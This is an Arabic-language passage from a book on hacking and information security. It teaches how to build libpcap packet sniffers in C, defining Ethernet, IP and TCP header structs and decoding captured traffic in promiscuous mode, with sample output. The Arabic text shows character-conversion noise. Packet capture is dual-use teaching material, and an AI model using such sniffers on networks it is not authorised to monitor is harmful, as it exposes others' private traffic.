void pcap_fatal(const char *failed_in, const char *errbuf) { 

   printf("Fatal Error in %s: %s\n", failed_in, errbuf); 

   exit(1); 

} 

 

int main() { 

  struct pcap_pkthdr header; 

  const u_char *packet; 

  char errbuf[PCAP_ERRBUF_SIZE]; 

  char *device; 

  pcap_t *pcap_handle; 

  int i; 

 

device = pcap_lookupdev(errbuf); 

if(device == NULL) 

   pcap_fatal("pcap_lookupdev", errbuf); 

   

printf("Sniffing on device %s\n", device); 

 

pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf); 

if(pcap_handle == NULL) 

   pcap_fatal("pcap_open_live", errbuf); 

 

for(i=0; i < 3; i++) { 

    packet = pcap_next(pcap_handle, &header); 

    printf("Got a %d byte packet\n", header.len); 

    dump(packet, header.len); 

  } 

  pcap_close(pcap_handle); 

} 
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نَ ال  Libraryذذه ال  ا العديد م   ل تَقوم ب عَمَل ما نُريد. structuresوال  functionsبِ 

 :( )mainنبدأ بال 

 ..pcap_pkthdr وذو libذذه ال  من structقُمنا باستدعاء 

 ..headerوأسميناه  objectشتققنا منه ا

جَة تحت ذذا ال  variablesسيحمل نفس ال  objectذذا ال   كما تَعلَم. structالُمندر 

 ذاذي:

struct pcap_pkthdr { 

        struct timeval ts;      /* time stamp */ 

        bpf_u_int32 caplen;     /* length of portion present */ 

        bpf_u_int32 len;        /* length this packet (off wire) */ 

}; 

 

  أول متغير يُستخدم ل عرض الوقت الذي حدث قيه الcapturing. 

  والثاني سيعَرض لك حجم الdata  الُمتاح لك التقاطها طلال عملية الcapture. 

 سيعَرض لك حجم ال والثالث Packets .!الفعلية التي يتم التقاطها 

 

ويأتي بعده متغير  كما أوضحنا سالفاً. unsigned charبصيغة  row bytesثم قُمنا ب تعريف الُمتغير الذي سَنضَع ب ه ال 

ة الذي سَيَقوم ب عملي deviceسنستخدم ذذا الُمتغير ل نضََع ب ه مَسار ال ، bytes 256 له حجم ثابت وذو errbufبإسم 

ا و dev/eth0/وذو في حالت نا ذُنا سيكون ، sniffing ال  لشارةً للى كارت الشبكة لدينا. ethernet0نعني بِ 
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 ثُم  نأتي لهذا الجزء:

device = pcap_lookupdev(errbuf); 

if(device == NULL) 

   pcap_fatal("pcap_lookupdev", errbuf); 

   

printf("Sniffing on device %s\n", device); 

 

 :ل تقوم بالتحقق من كارت الشبكة لديك  ( )pcap_lookupdevاستخدمنا

"Find the default device on which to capture" 

ع لَنا  ر ذلك، قَسَتُرج  ن قَب ل.  ( )fatalعن طريق  errorولن تَعَذ 
راراً م   التي استخمناذا م 

 

 ثُم  ذذا الجزء:

pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf); 

if(pcap_handle == NULL) 

   pcap_fatal("pcap_open_live", errbuf); 

 

ن ال   ( )pcap_open_liveاستخدمنا ذُنا  أيضاً. libpcap libraryوذي م 

ن ال  ظ argumentsوتأطُذ مَجموعَة م   :كما نُلاح 

  الأول ذو مَسار الdevice  ،نفسه/dev/eth0 

 ذو ال والثاني maximum packet size 

  والثالث ذوpromiscuous mode flag 

  والرابع ذو الtimeout value 

  والخامس ذوpointer  يشير للى الerrbuf  
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 :الجُزء الأطير

for(i=0; i < 3; i++) { 

    packet = pcap_next(pcap_handle, &header); 

    printf("Got a %d byte packet\n", header.len); 

    dump(packet, header.len); 

  } 

 

 .وحددنا عددذم ليكون ثلاثة، packets لاستقبال ال loopكالعادة نقوم بعمل 

بار argumentsتَستَقب ل   ( )pcap_nextذذه ال والآطر ذو ال  ( )Pcap_open_liveالقادم من ال  handleعن ال  ةع 

"address of our object" ال  الذي اشتققناهُ منpcap_pkthdr،  الذي يحوي بيانات الlength of packets  و ال

time of capturing. 

 

  ”Return the next available packet“:كالآتي functionتُعتَبَر وظيفة ذذه ال 

 

 

 :two argumentsتَستَقب ل و ، ( )dumpثُم  تأتي وظيفة ال

  الأول ذو الpacket، بار  row bytesل يَحمل ب داطله  ال  unsigned charعن  ةوذو ع 

  والثاني ذو أحد الattributes  أو الelements  الخاص بالheader، .)نا عنهُ في أول جزء  )تَكَلم 

 .lengthالُمتعلق بال  variableسوى ذذا ال  structنَنا لا نُريد من ذذا ال ذذا يَعني أَ 

 

م  لإنهاء العملية:  ( )close_pcapثُم أطيراً نَستخد 

pcap_close() - close a capture device or save file 

 ذيا ل نقوم بتشغبل ذذا الكود:
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reader@hacking:~/booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap 

reader@hacking:~/booksrc $ ./pcap_sniff 

 

Fatal Error in pcap_lookupdev: no suitable device found 

reader@hacking:~/booksrc $ sudo ./pcap_sniff 

Sniffing on device eth0 

Got a 82 byte packet 

00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E. 

00 44 1e 39 40 00 40 06 46 20 c0 a8 2a 01 c0 a8 | .D.9@.@.F ..*... 

2a f9 8b 12 1e d2 ac 14 cf c7 e5 10 6c c9 80 18 | *...........l... 

05 b4 54 1a 00 00 01 01 08 0a 26 b6 a7 76 02 3c | ..T.......&..v.< 

37 1e 74 68 69 73 20 69 73 20 61 20 74 65 73 74 | 7.this is a test 

0d 0a                                           | .. 

Got a 66 byte packet 

00 01 29 15 65 b6 00 01 6c eb 1d 50 08 00 45 00 | ..).e...l..P..E. 

00 34 3d 2c 40 00 40 06 27 4d c0 a8 2a f9 c0 a8 | .4=,@.@.'M..*... 

2a 01 1e d2 8b 12 e5 10 6c c9 ac 14 cf d7 80 10 | *.......l....... 

230 0x400 

05 a8 2b 3f 00 00 01 01 08 0a 02 47 27 6c 26 b6 | ..+?.......G'l&. 

a7 76                                           | .v 

Got a 84 byte packet 

00 01 6c eb 1d 50 00 01 29 15 65 b6 08 00 45 10 | ..l..P..).e...E. 

00 46 1e 3a 40 00 40 06 46 1d c0 a8 2a 01 c0 a8 | .F.:@.@.F...*... 

2a f9 8b 12 1e d2 ac 14 cf d7 e5 10 6c c9 80 18 | *...........l... 

05 b4 11 b3 00 00 01 01 08 0a 26 b6 a9 c8 02 47 | ..........&....G 

27 6c 41 41 41 41 41 41 41 41 41 41 41 41 41 41 | 'lAAAAAAAAAAAAAA 

41 41 0d 0a                                     | AA.. 

reader@hacking:~/booksrc $ 

reader@hacking:~/booksrc $ 

 

 sudo commandفي البداية بسبب عدم استخدام  errorلاحظ ظهور ال 

 تَم  ب نجاح..
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 ..سَننتق ل الآن للى أُمُور أكثر لثارةً  

 .. OSI Layers لل Analysisسنقوم بعمل 

دُك بأن تفهم ال   بعُمق مع انتهاء الفقرة القادمة. OSI Layersأع 

 ذيا ب نا..

 

 

Layer Analysis 
 

ب تلك ال  ةيوضح التفاصيل المُتعلِّق headersو  dataتحتوي على  packetsالمار عبر الشبكة عبارة عن  trafficذذا ال 

data.  سنقوم الآن ب عَمل ما يُسمى بال“Decoding the Layers”. 

تفكيك نقوم طلالها ب ،(Data-Link, Network, and Transport Layers)سنبدأ بالمرور على الطبقات الثلاث، 

 ..يتم استخدامهم قيما بعد كيوتجهيزذم  ،ةالخاص بكل طبق Header تحليل محتويات الو

 .Ethernet Headerنبدأ بال س

 

Ethernet Header  

 عبر ذذا المسار: Ethernet Headerالخاص بال  structureتم تعريف ال  Linuxفي نظام التشغيل 

/user/include/linux/if_ether.h 

 من جهازي، وذي توضح جزء من ذذا الملف: screenshotسأعرض لك 
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 MACمن أجل ال bytes 6تعني أنهُ تَم  تخصيص  "Ethernet Address Length"ذي اطتصار ل  Defineأول 

Address. :لاحظ في السطر الذي يبدأ ب 

#define ETH_HLEN     14 

 .Bytes 14 ليكون Ethernet Headerال  طوللنه يقوم بتعريف 
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لذي تَكلمنا عنه في ا MTUوذذا ذو ال  ،bytes 1500لا يَتَجاوَز ال ذَكَر أنهُ  data lengthالخاص بال  fieldال أيضاً 

ليُعطينا الُمحصلة وذي ال  1500على ال  bytes 14أنهُ قامَ بإضاقة ال  لاحظ في السطر الذي يليه   .الفصل السابق

“Frame”  الذي ذو عباره عن الData ال  مُضاقاً لليهاHeader. 

 

 ذاذو:

#define ETH_ALEN 6 /* Octets in one ethernet addr */ 

#define ETH_HLEN 14 /* Total octets in header */ 

 

 

/* 

*   This is an Ethernet frame header. 

*/ 

 

struct ethhdr { 

  unsigned char h_dest[ETH_ALEN]; /* Destination eth addr */ 

  unsigned char h_source[ETH_ALEN]; /* Source ether addr */ 

  __be16 h_proto; /* Packet type ID field */ 

} __attribute__((packed)); 

 

 

ل ما   :مضىوالآن ذيا ل نحَُوص 

6 bytes Source MAC + 6 bytes Dest MAC + 2 bytes type of ethernet packet =  

14 bytes (Ethernet Header) 

 ؟ ”type of ethernet packet“تتذكر ذذا ال  ذل

قة نوع ال  ةعندما كُنا بحاجفي الباب الثاني،  ARPبروتوكول ال  في ققرةتحدثنا عنه  أم  ARPذا كانت ل ام packetلم عَر 

data سَنقوم بعمل ال  .ةعاديstructure  ،غير ميات تَغيير بعض التس مع الخاص ب نا ب ناءً على ذذه المعلومات القيِّمة

د include fileللى ما نَراهُ أوضح ثُم نَضعهُم في  ةواضحال  .ةعلى ح 
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#define ETHER_ADDR_LEN 6 

#define ETHER_HDR_LEN 14 

 

struct ether_hdr { 

  unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC  

  unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC   

  unsigned short ether_type; // Type of Ethernet packet 

}; 

 

 .”Network.h“ سَنطُل ق على ذذا الملف

 .IP Header بالالخاص  structureوالآن سننتقل للى ال 

 

IP Header 

 

 

 .Options field بدون ال bytes 20 طولهيَب لُغ  IP Headerلاحظ أن ال 
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 سنفعل ذُنا نفس الشيء. Ethernet Headerل وكما قعلنا مع ا

 :Headerذذا الشكل يُوضح مَسار ذذا ال 

 
 

 :Structذذا ال  بعض محتويات مايلي

struct iphdr 

{ 

#if __BYTE_ORDER == __LITTLE_ENDIAN 

    unsigned int ihl:4; 

    unsigned int version:4; 

#elif __BYTE_ORDER == __BIG_ENDIAN 

    unsigned int version:4; 

    unsigned int ihl:4; 

#else 

# error "Please fix <bits/endian.h>" 

#endif 

    u_int8_t tos; 

    u_int16_t tot_len; 

    u_int16_t id; 

    u_int16_t frag_off; 

    u_int8_t ttl; 

    u_int8_t protocol; 

    u_int16_t check; 

    u_int32_t saddr; 

    u_int32_t daddr; 

   /*The options start here. */ 

}; 
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 ..ذاته include fileأيضاً و ضَمّه  للى ال  Headerسنقوم بإنشاء ذذا ال 

 ”Network.h“ الذي أسميناه:

 

struct ip_hdr { 

  unsigned char ip_version_and_header_length; // Ver and hdr len 

  unsigned char ip_tos; // Type of service 

  unsigned short ip_len; // Total length 

  unsigned short ip_id; // Identification number 

  unsigned short ip_frag_offset; // Fragment offset and flags 

  unsigned char ip_ttl; // Time to live 

  unsigned char ip_type; // Protocol type 

  unsigned short ip_checksum; // Checksum 

  unsigned int ip_src_addr; // Source IP address 

  unsigned int ip_dest_addr; // Destination IP address 

}; 

 

 

 .TCP Headerال ب ونختم

 

TCP Header 

 

 .options fieldبدون ال ،  bytes 20 هطوليبلغ  Headerذذا ال أيضاً 

ض   :Headerشكل ذذا ال  ةالتالي ةفي الصفحنَعر 
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 كالآتي: ”TCP header length“تقوم بتعريف ال  المصادربعض 

“An integer that specifies the length of the segment header measured in 32-bit multiples” 

صَد بذلك:  ”bytes * number of segments have been used 4“ ويُق 

 

 لاحقاً.. قوم بتفصيله  سن

 

 الخاص به: Structureشكل ال  مايلي

typedef u_int32_t tcp_seq; 

 

/* 

* TCP header. 



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [204] 

* Per RFC 793, September, 1981. 

*/ 

 

struct tcphdr 

{ 

    u_int16_t th_sport; /* source port */ 

    u_int16_t th_dport; /* destination port */ 

    tcp_seq th_seq; /* sequence number */ 

    tcp_seq th_ack; /* acknowledgment number */ 

# if __BYTE_ORDER == __LITTLE_ENDIAN 

    u_int8_t th_x2:4; /* (unused) */ 

    u_int8_t th_off:4; /* data offset */ 

# endif 

# if __BYTE_ORDER == __BIG_ENDIAN 

    u_int8_t th_off:4; /* data offset */ 

    u_int8_t th_x2:4; /* (unused) */ 

# endif 

    u_int8_t th_flags; 

# define TH_FIN 0x01 

# define TH_SYN 0x02 

# define TH_RST 0x04 

# define TH_PUSH 0x08 

# define TH_ACK 0x10 

# define TH_URG 0x20 

    u_int16_t th_win; /* window */ 

    u_int16_t th_sum; /* checksum */ 

    u_int16_t th_urp; /* urgent pointer */ 

}; 

 

 

 بطريقتنا.. TCP Structureأيضاً بكتابة ال   سنقوم

 .مرةً أطرى بطريقة أوضح Flagsلل  defineلاحظ أننا سنقوم بعمل 

struct tcp_hdr { 

unsigned short tcp_src_port; // Source TCP port 

unsigned short tcp_dest_port; // Destination TCP port 

unsigned int tcp_seq; // TCP sequence number 
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unsigned int tcp_ack; // TCP acknowledgment number 

unsigned char reserved:4; // 4 bits from the 6 bits of reserved space 

unsigned char tcp_offset:4; // TCP data offset for little-endian host 

unsigned char tcp_flags; // TCP flags (and 2 bits from reserved space) 

#define TCP_FIN 0x01 

#define TCP_SYN 0x02 

#define TCP_RST 0x04 

#define TCP_PUSH 0x08 

#define TCP_ACK 0x10 

#define TCP_URG 0x20 

unsigned short tcp_window; // TCP window size 

unsigned short tcp_checksum; // TCP checksum 

unsigned short tcp_urgent; // TCP urgent pointer 

}; 

 

م أيضاً للى الملف  ه   .”Network.h“نقوم ب ضَم 

 ذذا عمل  رائع!.

لهذه ال  decodeوالآن يُمك نُنا ك تابة برنامج ل يقوم بعمل  ،Structuresعلى ذيئة  Headersلقد قُمنا بتعريف ال 

Headers  من كلpacket يتم التقاطها. 

 .!سَيَكون ذلك مُُتعاً 

 

The Decoder Sniffer 
 

يقوم  Snifferمن أجل تكوين  ”Network.h“والملف الذي أنشأناه  "،libpcap library"بالاستعانة بال سنقوم ذُنا 

بَدءاً  layerلكُل  decodeمع عمل  packetالمار عبركارت الشبكة و عرض تفاصيل كل  trafficلل  captureبعمل 

 .Transport Layerوانتهاءً بال  Data-Link Layerبال 
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ل على ثلاثة أجزاءد على سنطرح ذذا الكو ناكي نُسَهِّ للاحظ أننا  عملية الإستيعاب.  أنفُس   functionال  سوف نستبد 

كانت وظيفتها ذل نسيت وظيفتها؟ .. ..( )pcap_nextالسابق والتي كانت بإسم  snifferالتي استخدمناذا في ال 

 التالية.  packetجَل ب ال تتمثل في 

 .نهاوتُعد أكثر قاعلية م، ( )pcap_loopأقضل منها، ذي أطرى  functionسنستخدم لذلك 

 الخاص بِا: prototypeال  مايلي

 
int pcap_loop(pcap_t *handle, int count, pcap_handler caught_packet,  

              u_char *args); 

ج Argumentsماذذه ال   .كل شيء على مايُرامسيكون  ..!!.   ..لا تقلقةالُمزع 

 :Handleبدأ بِذا ال لن

 من وجهة نظر أنظمة التشغيل لتفهمه جيداً.. Handleدعني أُعطيك تعريف ال 

 :كما يلي Handlesال  Michael Sikorskiيُعرف لنا السيد 

 
Handles are items that have been opened or created in the OS, such as a window, process, 

module, menu, file, and so on. Handles are like pointers in that they refer to an object or memory 

location somewhere else. However, unlike pointers, handles cannot be used in arithmetic 

operations, and they do not always represent the object’s address.  

The only thing you can do with a handle is store it and use it in a later function call to refer to 

the same object. 

 

 ..ذذا جيد!

 ..؟( )pcap_loopذُنا في ذذه ال  handleكيف سنستخدم قكرة ذذا ال 
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المسؤولة عَن قتح  functionالقادمة من ال  return valueل نضََع قيه ال  storageك  handleحسناً.. سيكون ذذا ال 

قاً ك promiscuous modeكارت الشَبَكة لدينا في وضعية ال  مهُ لاح  أُطرى..  functionل  Argument، ثُم  نَستخد 

 قوق. أليس كذلك؟. handleمن تعريف ال  Boldذذا بالضبط ما يُشير لليه الجزء ال  .( )pcap_loopذي ال 

التي سنلتقطها، والتي وضعناذا في المثال  packetsيُعبرِّ عن عدد ال  int، قهو رقم ةالثاني Argumentوب النسبة لل 

 .Snifferللى أن يتم غلق ال  loopقنعني بذلك  "1-"تم وضعها ب  لاحظ أنه لو (،3)السابق ب 

 

 ..أطرى functionل  pointerالثالثه قهو عبارة عن  Argumentبخصوص ال 

لتقوم بإعطائنا  ( )caught_packet أطرى.. سنسُميها  functionل  callستقوم ذنا بعمل  ( )pcap_loopيبدو أن ال 

ل الحالية  packetقهي تحوي تفاصيل ال  .( )pcap_loopالتي قامت بالتقاطها ال  packet عن ذذه ال ةمعلومات مُفص 

بارة عن  Argumentsلها، سَتَستَقب ل  captureالتي تَم  عَمَل  للى ال  ةبالإشار قومت Pointersذذه ال  ،pointersع 

packet header وال packet itself. 

 

 : ( )caught_packetذا ذو شكل ال 

void caught_packet(u_char *args, const struct pcap_pkthdr  

                   *cap_header, const u_char *packet); 

 

. libpcap libموجود في ال  structوذو  struct pcap_pkthdrتم اشتقاقه من ال  objectالثانية ذي  Argumentال 

 سنتكلم عنه بعد قليل.

 .Decodingليقوم بخدمتنا في عملية ال  ةالُملتقط packetنتحرك به داطل ال س pointerوالأطير ذو 
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مة طفيفة ل تهيئتك لاستقبال ذذا الكود الغني بالُمفاجئات  .. كانت ذذه مُقدِّ

 كما ذَكَرتُ لك في البداية. على ثلاثة أجزاءسنقوم بتقسيم الكود 

نهُ   ما يلي أول جزء م 

#include <pcap.h> 

#include "error.h" 

#include "network.h" 

void pcap_fatal(const char *, const char *); 

void decode_ethernet(const u_char *); 

void decode_ip(const u_char *); 

u_int decode_tcp(const u_char *); 

 

void caught_packet(u_char *, const struct pcap_pkthdr *, const  

                   u_char *); 

int main() { 

 struct pcap_pkthdr cap_header; 

 const u_char *packet, *pkt_data; 

 char errbuf[PCAP_ERRBUF_SIZE]; 

 char *device; 

 pcap_t *pcap_handle; 

  

 device = pcap_lookupdev(errbuf); 

 if(device == NULL) 

   pcap_fatal("pcap_lookupdev", errbuf); 

  

 printf("Sniffing on device %s\n", device); 

 

 pcap_handle = pcap_open_live(device, 4096, 1, 0, errbuf); 

 if(pcap_handle == NULL) 

   pcap_fatal("pcap_open_live", errbuf);  

 pcap_loop(pcap_handle, 3, caught_packet, NULL); 

  

 pcap_close(pcap_handle); 

} 

 .. ،function prototypesيظهر في البداية بعض ال 
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 ؟. prototypeذل تذكُر تعريف ال 

لاحظ أن الأطيرة، الخاصة بال . ةالُملتقط packetsلل  decodeتم تعريفهم ليقوموا بوظيفة ال  functions ةيوجد ثلاث

TCP Header  ليست من نوعvoidع لنا ذذه ال  ،، بل ستقوم بإرجاع قيمة  : قيمة ذي functionقستُرج 

TCP Header Length. 

 

 ولكن لماذا نحسب حَجمهُ بأي حال؟

وذلك بعد طرح ال  packetداطل ال  dataلحساب حجمهُ كي يتسنى لنا في النهاية معرقة حجم ال  ةنحن بحاج

Header Length  الخاص بكلLayer  قيتبقى لنا حجم الdata .الفعلي 

  ( )mainثم يبدأ البرنامج بال 

 struct pcap_pkthdr cap_header; 

 const u_char *packet, *pkt_data; 

 char errbuf[PCAP_ERRBUF_SIZE]; 

 char *device; 

 pcap_t *pcap_handle; 

 

 .pcap_pkthdr الُمسمى Structمن ال  objectاشتقاق يظهر في البداية 

 

 .؟ Structذل تتذكر ذذا ال 

 :مايليالأطير ليعرض لنا  elementحيث استخدمنا منه ال ،  السابق Snifferلقد استخدمناه في ال 

”Length of Captured Packet”   

 

 ذذا ذو شكله:
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struct pcap_pkthdr { 

 

        struct timeval ts;      /* time stamp */ 

        bpf_u_int32 caplen;     /* length of portion present */ 

        bpf_u_int32 len;        /* length this packet(off wire) */ 

}; 

 

 .pkt_dataو  packetذم  unsigned charمن نوع  pointersثُم قُمنا بتعريف 

م ال  ل ال  pointerسَنستخد  ك داط  ذل تتذكر درس ال  .Headersالخاصة بال  memory blockالأول في عملية التحََرُّ

pointers في الباب الأول؟  

 .”!Hello world“ قد تحدثنا عن ذذا الأمر بمثال ل

ثم نلتقي بضيفنا  .ةالُملتقط row bytesليُعبر لنا عن ال  ( )Dumpلل  Argumentالثاني سنستخدمه ك  pointerوال 

ثم نقوم بتجهيز ال  جيداً.  لابد وأنك تعي وظيفتهُ  "،Pcap_handle"الذي تكلمنا عنه منذ قليل  Handleالعزيز ال 

device  لعملية الsniff  باستخدام الlookup_dev( ) ، لتبدأ بعدذا عملية الLooping  لاستقبال الpackets 

 .لاستخراج التفاصيل Decodingولجراء عملية ال 

 

ذذه الأطيرة سيتم استدعاؤذا مع كل ، ( )caught_packetلل  callستقوم بعمل   ( )pcap_loopكما تُلاحظ أن ال

packet ل تقوم اpcap_loop .بالتقاطها 

 

 .ولللى ذنا ينتهي الجزء الأ

 .هي تقوم بدور محوري في ذذا الكودق  ( )caught_packetسننتقل للى الجزء الثاني، والُمتمثِّل في وظيفة ال 
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void caught_packet(u_char *user_args, const struct pcap_pkthdr 

*cap_header, const u_char 

*packet) { 

  int tcp_header_length, total_header_size, pkt_data_len; 

  u_char *pkt_data; 

 

  printf("==== Got a %d byte packet ====\n", cap_header->len); 

 

 

 

  decode_ethernet(packet); 

  decode_ip(packet + ETHER_HDR_LEN); 

  tcp_header_length =  

         decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr)); 

 

  total_header_size =  

         ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length; 

 

 

/*pkt_data points to the dataportion*/ 

  pkt_data = (u_char *)packet + total_header_size; 

                        

  pkt_data_len = cap_header->len - total_header_size; 

  if(pkt_data_len > 0) { 

     printf("\t\t\t%u bytes of packet data\n", pkt_data_len); 

     dump(pkt_data, pkt_data_len); 

  } else 

     printf("\t\t\tNo Packet Data\n"); 

} 

void pcap_fatal(const char *failed_in, const char *errbuf) { 

  printf("Fatal Error in %s: %s\n", failed_in, errbuf); 

  exit(1); 

} 
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 Localيبدو أنهم ، Integer variablesيَتبعُها مجموعة من ال  ،( )caught_packetيظهر لنا في بداية الكود ال 

variables ، مهُم داطل ذذه ال  ققط. functionبمعنى أننا سنستخد 

ل ال  functionنُريد من ذذه ال  ..وللتذكير ل ال  Headersأن تَفص  ض أيضاً عن dataعن بعضهم، ثُم تَفص  هم، لتَعر 

 .( )Dumpعن طريق استدعاء ال  dataلنا ذذه ال 

 ذيا ل نمُرّ على بقية الأسطر:

printf("==== Got a %d byte packet ====\n", cap_header->len); 

 

 يُمثِّل حجم ال  lengthلاحظ أن ذذا ال ، Length of packetذنا لتطبع لنا على الشاشة  ( )printfسنستخدم ال 

data + Headers يمكنك مراجعة درس ال " <-"الإشارة  نسيت دلالة ذذه. لذاStructs في الباب الأول. 

 

 :Functionثم نأتي لهذه المجموعه التي تبدأ بِذه ال 

  decode_ethernet(packet); 

 

  ( )caught_packetداطل ال functionيتم تنفيذ ذذه ال 

. ةالُملتَقَطَ  Packetداطل ال  Ethernet Headerف به على موضع ال ل تَق Pointerعباره عن  Argumentتأطُذ قهي 

ولكن  .(الكودبالتفصيل في الجزء الثالث من  Headerشاذد ذذا ال سنُ ) .Header لهذا ال Decodingتقوم بعمل ال ل

متهُُ  ةتَقَطَ الُمل Packetداطل ال أيضاً!،  packetالمُسمى  Pointerدعني أوضح لك كيف تتم عملية الإنتقال بال  كما قَه 

 ..!أنا

 وأعود لليك بعد قليل.. paintسأذذب للى برنامج ال 
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 عُدنا!..

ذاذي مرةً  في بدايتها. Pointerقتضع ال  Packetتحتاج لأن تقف في بداية ال  ( )decode_ethernetكما ترى أن ال 

 أطرى:

 decode_ethernet(packet); 

 

 

  ( )decode_ip للىنأتي 

decode_ip(packet+ETHER_HDR_LEN); 

 .كما ترى قوق Argumentوبالتالي يكون ال ، IP Headerليكون عند بداية ال  Pointerستقوم ذذه بتحريك ال 
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 ..TCP Headerلل  decodeريد عمل وذذه أيضاً تُ 

 .Address of TCP Headerللى بداية ال  Pointerقستقوم بتحريك ال 

  tcp_header_length =  

      decode_tcp(packet + ETHER_HDR_LEN + sizeof(struct ip_hdr)); 

 

 .بعكس الباقين tcp_header_lengthبإسم:  intبالذات ستُرجع لنا قيمة بصيغة  functionلاحظ أن ذذه ال 

 

 التالية الأسطر، ( )Dumpبمفردذا كي يتسنى لنا طباعتها باستخدام ال  Length of dataوالآن نريد معرقة ال 

 ذذه العملية: لنا وضحتس

  total_header_size =  

         ETHER_HDR_LEN + sizeof(struct ip_hdr) + tcp_header_length; 

 

..  ( )Caught_packetالذي تم تعريفه داطل ال Local Variableووضعه في  Headerيتم حساب الحجم الكلي لل 

 الكُلي. packetثُم نَطرَحهُ من حجم ال 

 
/*pkt_data points to the data portion.*/ 

  pkt_data = (u_char *)packet + total_header_size; 

 

ى  pointerنقوم ذُنا بتجهيز ال  وبالطبع سيكون  ،ةالُملتقَطَ  packetبداطل ال  dataليُشير للى بداية ال  pkt_dataالُمسم 

 عه.التعامُل م ( )Dumpكي تستطيع ال  unsigned charمن نوع 

 

                        

  pkt_data_len = cap_header->len - total_header_size; 

 

 ..ققط! "length of data"سيحمل بداطله ال  local variable ذذا ال



 Understanding Hacking and Information Security                                                  وأمن المعلومات  ةلكترونيالقرصنة الإ

Security & Attacks 
 [215] 

الثانية لل  Argumentوسَيَكون ال  ".length of packet"من ال  "length of total header" وذلك بعد طرح ال

Dump( ) يلي: كما 

 

  if(pkt_data_len > 0) { 

     printf("\t\t\t%u bytes of packet data\n", pkt_data_len); 

     dump(pkt_data, pkt_data_len); 

  } else 

     printf("\t\t\tNo Packet Data\n"); 

 

 .Snifferللى ذنا نكون انتهينا من توضيح الجزء الثاني من ذذا ال 

 

 :لجزء الثالث من الكودن جاء دور اوالآ

 التالية: functionsالثلاث جراءات التفصيلية التي تقوم بِا سَيُوضح لَنا الإ

 
void decode_ethernet(const u_char *); 

void decode_ip(const u_char *); 

u_int decode_tcp(const u_char *); 

 

على بقية الكود: ةلنلُق  نظر  

void decode_ethernet(const u_char *header_start) { 

 int i; 

 const struct ether_hdr *ethernet_header; 

 ethernet_header = (const struct ether_hdr *)header_start; 

 printf("[[ Layer 2 :: Ethernet Header ]]\n"); 

 printf("[ Source: %02x", ethernet_header->ether_src_addr[0]); 

 for(i=1; i < ETHER_ADDR_LEN; i++) 

   printf(":%02x", ethernet_header->ether_src_addr[i]); 

  

 printf("\tDest: %02x", ethernet_header->ether_dest_addr[0]); 

 for(i=1; i < ETHER_ADDR_LEN; i++) 
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   printf(":%02x", ethernet_header->ether_dest_addr[i]); 

 printf("\tType: %hu ]\n", ethernet_header->ether_type); 

} 

 

void decode_ip(const u_char *header_start) { 

 const struct ip_hdr *ip_header; 

 ip_header = (const struct ip_hdr *)header_start; 

 printf("\t(( Layer 3 ::: IP Header ))\n"); 

 printf("\t( Source: %s\t", inet_ntoa(ip_header->ip_src_addr)); 

 printf("Dest: %s )\n", inet_ntoa(ip_header->ip_dest_addr)); 

 printf("\t( Type: %u\t", (u_int) ip_header->ip_type); 

 printf("ID: %hu\tLength: %hu )\n", ntohs(ip_header->ip_id),  

        ntohs(ip_header->ip_len)); 

} 

 

u_int decode_tcp(const u_char *header_start) { 

 u_int header_size; 

 const struct tcp_hdr *tcp_header; 

 

 tcp_header = (const struct tcp_hdr *)header_start; 

 header_size = 4 * tcp_header->tcp_offset; 

 

 printf("\t\t{{ Layer 4 :::: TCP Header }}\n"); 

 printf("\t\t{ Src Port: %hu\t",  

        ntohs(tcp_header->tcp_src_port)); 

 

 printf("Dest Port: %hu }\n", ntohs(tcp_header->tcp_dest_port)); 

 printf("\t\t{ Seq #: %u\t", ntohl(tcp_header->tcp_seq)); 

 printf("Ack #: %u }\n", ntohl(tcp_header->tcp_ack)); 

 printf("\t\t{ Header Size: %u\tFlags: ", header_size); 

 if(tcp_header->tcp_flags & TCP_FIN) 

   printf("FIN "); 

 if(tcp_header->tcp_flags & TCP_SYN) 

   printf("SYN "); 

 if(tcp_header->tcp_flags & TCP_RST) 

   printf("RST "); 

 if(tcp_header->tcp_flags & TCP_PUSH) 

   printf("PUSH "); 
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 if(tcp_header->tcp_flags & TCP_ACK) 

   printf("ACK "); 

 if(tcp_header->tcp_flags & TCP_URG) 

   printf("URG "); 

 printf(" }\n"); 

 

 return header_size; 

} 

 

 

 ( )decode_ethernetوذي ال ، function بشرح أول بدأن

 
void decode_ethernet(const u_char *header_start) { 

 int i; 

 

 Ethernetحيث ال  packetيُشير للى بداية ال  pointer، وذو Argumentك  Packetال  functionتأطُذ ذذه ال 

header.  قنا مُتغير  .function لهذه ال localوذو  (i)ثُم عَر 

 

 const struct ether_hdr *ethernet_header; 
 

 .structالتي بداطل ذذا ال  Elementsيأطُذ نفس ال ل struct ether_hdrمن ذذا ال  objectثُم اشتققنا 

 ؟ Structذل تذكر ذذا ال 

رُك به:  سأُذكِّ

#define ETHER_ADDR_LEN 6 

#define ETHER_HDR_LEN 14 

struct ether_hdr { 

  unsigned char ether_dest_addr[ETHER_ADDR_LEN]; //Dest. MAC  

  unsigned char ether_src_addr[ETHER_ADDR_LEN]; // Source MAC   

  unsigned short ether_type; // Type of Ethernet packet 

}; 
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ل الكود  ..لنكُم 

 

 ethernet_header = (const struct ether_hdr *)header_start; 

 

داطل ال  Ethernet headerفي ال  ةالتي بداطله بالبيانات الموجود elementsذذا بأن يملأ ال  objectسنخُبر  ذُنا ال 

packet التي تم التقاطها. 

 

 printf("[[ Layer 2 :: Ethernet Header ]]\n"); 

 

 printf(“[ Source: %02x”, ethernet_header->ether_src_addr[0]); 

 for(i=1; I < ETHER_ADDR_LEN; i++) 

   printf(“:%02x”, ethernet_header->ether_src_addr[i]); 

  

 ".Source MAC Address"بطباعة ال  ( )printfل تقوم ذُنا ا

 byteتبدأ بأول  loopعن طريق عمل  MACتتم كتابة ال  ،structالذي يُعَبرِّ عنه داطل ال  elementققد أشرنا للى ال 

 .وذو الأطير  6رقم byteوتنتهي بال 

 

